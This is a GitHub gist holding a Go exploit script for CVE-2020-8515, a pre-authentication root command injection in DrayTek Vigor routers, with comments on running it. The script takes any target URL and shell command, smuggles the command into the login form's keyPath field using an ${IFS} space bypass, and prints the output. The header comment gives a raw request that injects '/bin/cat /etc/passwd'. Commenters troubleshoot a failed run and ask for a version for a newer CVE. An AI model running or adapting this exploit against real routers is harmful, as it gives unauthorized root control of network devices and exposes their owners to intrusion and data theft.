Skip to content

Instantly share code, notes, and snippets.

@0xsha
Last active March 30, 2024 20:52
Show Gist options
  • Save 0xsha/e7f59e9332b44d151039059bc98c554b to your computer and use it in GitHub Desktop.
Save 0xsha/e7f59e9332b44d151039059bc98c554b to your computer and use it in GitHub Desktop.
CVE-2020-8515: DrayTek pre-auth remote root RCE
package main
/*
CVE-2020-8515: DrayTek pre-auth remote root RCE
Mon Mar 30 2020 - 0xsha.io
Affected:
DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta,
and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta,
and 1.4.4_Beta
You should upgrade as soon as possible to 1.5.1 firmware or later
This issue has been fixed in Vigor3900/2960/300B v1.5.1.
read more :
https://www.skullarmy.net/2020/01/draytek-unauthenticated-rce-in-draytek.html
https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/
https://thehackernews.com/2020/03/draytek-network-hacking.html
https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/
exploiting using keyPath
POST /cgi-bin/mainfunction.cgi HTTP/1.1
Host: 1.2.3.4
Content-Length: 89
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a
*/
import (
"fmt"
"io/ioutil"
"net/http"
"net/url"
"os"
"strings"
)
func usage() {
fmt.Println("CVE-2020-8515 exploit by @0xsha ")
fmt.Println("Usage : " + os.Args[0] + " URL " + "command" )
fmt.Println("E.G : " + os.Args[0] + " http://1.2.3.4 " + "\"uname -a\"" )
}
func main() {
if len(os.Args) < 3 {
usage()
os.Exit(-1)
}
targetUrl := os.Args[1]
//cmd := "cat /etc/passwd"
cmd := os.Args[2]
// payload preparation
vulnerableFile := "/cgi-bin/mainfunction.cgi"
// specially crafted CMD
// action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a
payload :=`'
/bin/sh -c 'CMD'
'`
payload = strings.ReplaceAll(payload,"CMD", cmd)
bypass := strings.ReplaceAll(payload," ", "${IFS}")
//PostForm call url encoder internally
resp, err := http.PostForm(targetUrl+vulnerableFile ,
url.Values{"action": {"login"}, "keyPath": {bypass} , "loginUser": {"a"}, "loginPwd": {"a"} })
if err != nil{
fmt.Println("error connecting host")
os.Exit(-1)
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil{
fmt.Println("error reading data")
os.Exit(-1)
}
fmt.Println(string(body))
}
@0xsha
Copy link
Author

0xsha commented May 17, 2020

for exemplo :https://177.x.x.x.x:85
go run vigor260.go https://177.x.x.x.x"uname -a"

error connecting host
exit status 255

1- You are doing it wrong go run CVE-2020-8515.go http://1.2.3.4 "uname -a" is correct format.
2- Maybe target isn't vulnerable any more? because this issue "patched months ago".
3- Full packet is in comment section try to send the packet manually .

0xSha

@meetgyn
Copy link

meetgyn commented May 17, 2020

I found out that my client has 2 draytek. And I doubt that they have updated. I'm doing a pentest and I would like to do one, because it demonstrates the failure

@nohope91
Copy link

Hello Sir, just wondering will you edit the script to work with the newest exploit that has been announced by DrayTek yesterday :
https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-remote-code-injection/execution-vulnerability-(cve-2020-14472)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment